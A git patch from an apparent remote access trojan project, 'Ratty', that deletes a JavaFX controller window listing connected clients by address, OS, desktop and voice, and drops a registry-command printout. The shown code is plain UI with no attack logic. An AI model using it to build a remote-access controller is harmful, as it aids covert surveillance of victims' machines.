From 7c8ba9b2321055f1e76c8590329cf270b0f256ac Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 14 Feb 2016 17:49:20 +0100 Subject: [PATCH] Major changes Reverted all JavaFX changes --- Ratty/src/de/sogomn/rat/Ratty.java | 2 - .../de/sogomn/rat/server/gui/RattyGuiFx.java | 140 ------------------ 2 files changed, 142 deletions(-) delete mode 100644 Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index e8638ed..8f30dba 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -139,8 +139,6 @@ public final class Ratty { startServer(port); } - - System.out.println(REGISTRY_COMMAND); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java deleted file mode 100644 index 98ed1a0..0000000 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java +++ /dev/null @@ -1,140 +0,0 @@ -package de.sogomn.rat.server.gui; - -import java.io.IOException; -import java.net.URL; -import java.util.Locale; -import java.util.ResourceBundle; - -import javafx.application.Application; -import javafx.collections.ObservableList; -import javafx.fxml.FXML; -import javafx.fxml.FXMLLoader; -import javafx.scene.Parent; -import javafx.scene.Scene; -import javafx.scene.control.Button; -import javafx.scene.control.TableColumn; -import javafx.scene.control.TableView; -import javafx.scene.control.cell.PropertyValueFactory; -import javafx.scene.image.Image; -import javafx.scene.layout.HBox; -import javafx.stage.Stage; -import de.sogomn.rat.Ratty; - -public final class RattyGuiFx extends Application { - - private Stage stage; - - @FXML - private TableView table; - @FXML - private TableColumn name; - @FXML - private TableColumn address; - @FXML - private TableColumn os; - @FXML - private TableColumn version; - @FXML - private TableColumn desktop; - @FXML - private TableColumn voice; - @FXML - private HBox bottom; - @FXML - private Button builder; - - private static final String TITLE = "Ratty"; - private static final String FXML_PATH = "/main_gui.fxml"; - private static final String CSS_PATH = "/main_gui.css"; - private static final String LANGUAGE_BASE = "language.language"; - - private static final Image ICON = new Image("/gui_icon.png"); - - private static final String NAME = "name"; - private static final String ADDRESS = "address"; - private static final String OS = "os"; - private static final String VERSION = "version"; - private static final String DESKTOP = "desktop"; - private static final String VOICE = "voice"; - - public RattyGuiFx() { - //... - } - - private Parent loadContent(final String path, Locale locale) { - final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, locale); - - try { - final URL url = Ratty.class.getResource(path); - final Parent content = FXMLLoader.load(url, bundle); - - return content; - } catch (final IOException ex) { - ex.printStackTrace(); - - return null; - } - } - - @FXML - private void initialize() { - final PropertyValueFactory nameFactory = new PropertyValueFactory(NAME); - final PropertyValueFactory addressFactory = new PropertyValueFactory(ADDRESS); - final PropertyValueFactory osFactory = new PropertyValueFactory(OS); - final PropertyValueFactory versionFactory = new PropertyValueFactory(VERSION); - final PropertyValueFactory desktopFactory = new PropertyValueFactory(DESKTOP); - final PropertyValueFactory voiceFactory = new PropertyValueFactory(VOICE); - - name.setCellValueFactory(nameFactory); - address.setCellValueFactory(addressFactory); - os.setCellValueFactory(osFactory); - version.setCellValueFactory(versionFactory); - desktop.setCellValueFactory(desktopFactory); - voice.setCellValueFactory(voiceFactory); - } - - @Override - public void start(final Stage primaryStage) throws Exception { - final Parent root = loadContent(FXML_PATH, Locale.ENGLISH); - final Scene scene = new Scene(root); - final ObservableList styleSheets = scene.getStylesheets(); - final ObservableList icons = primaryStage.getIcons(); - - icons.addAll(ICON); - styleSheets.add(CSS_PATH); - - primaryStage.setTitle(TITLE); - primaryStage.setScene(scene); - primaryStage.show(); - - stage = primaryStage; - } - - public void changeLanguage(final Locale locale) { - if (stage == null) { - return; - } - - final Parent root = loadContent(FXML_PATH, locale); - final Scene scene = stage.getScene(); - - scene.setRoot(root); - } - - public void addRow(final ServerClient serverClient) { - final ObservableList items = table.getItems(); - - items.add(serverClient); - } - - public void removeRow(final ServerClient serverClient) { - final ObservableList items = table.getItems(); - - items.remove(serverClient); - } - - public static void main(final String[] args) { - RattyGuiFx.launch(args); - } - -}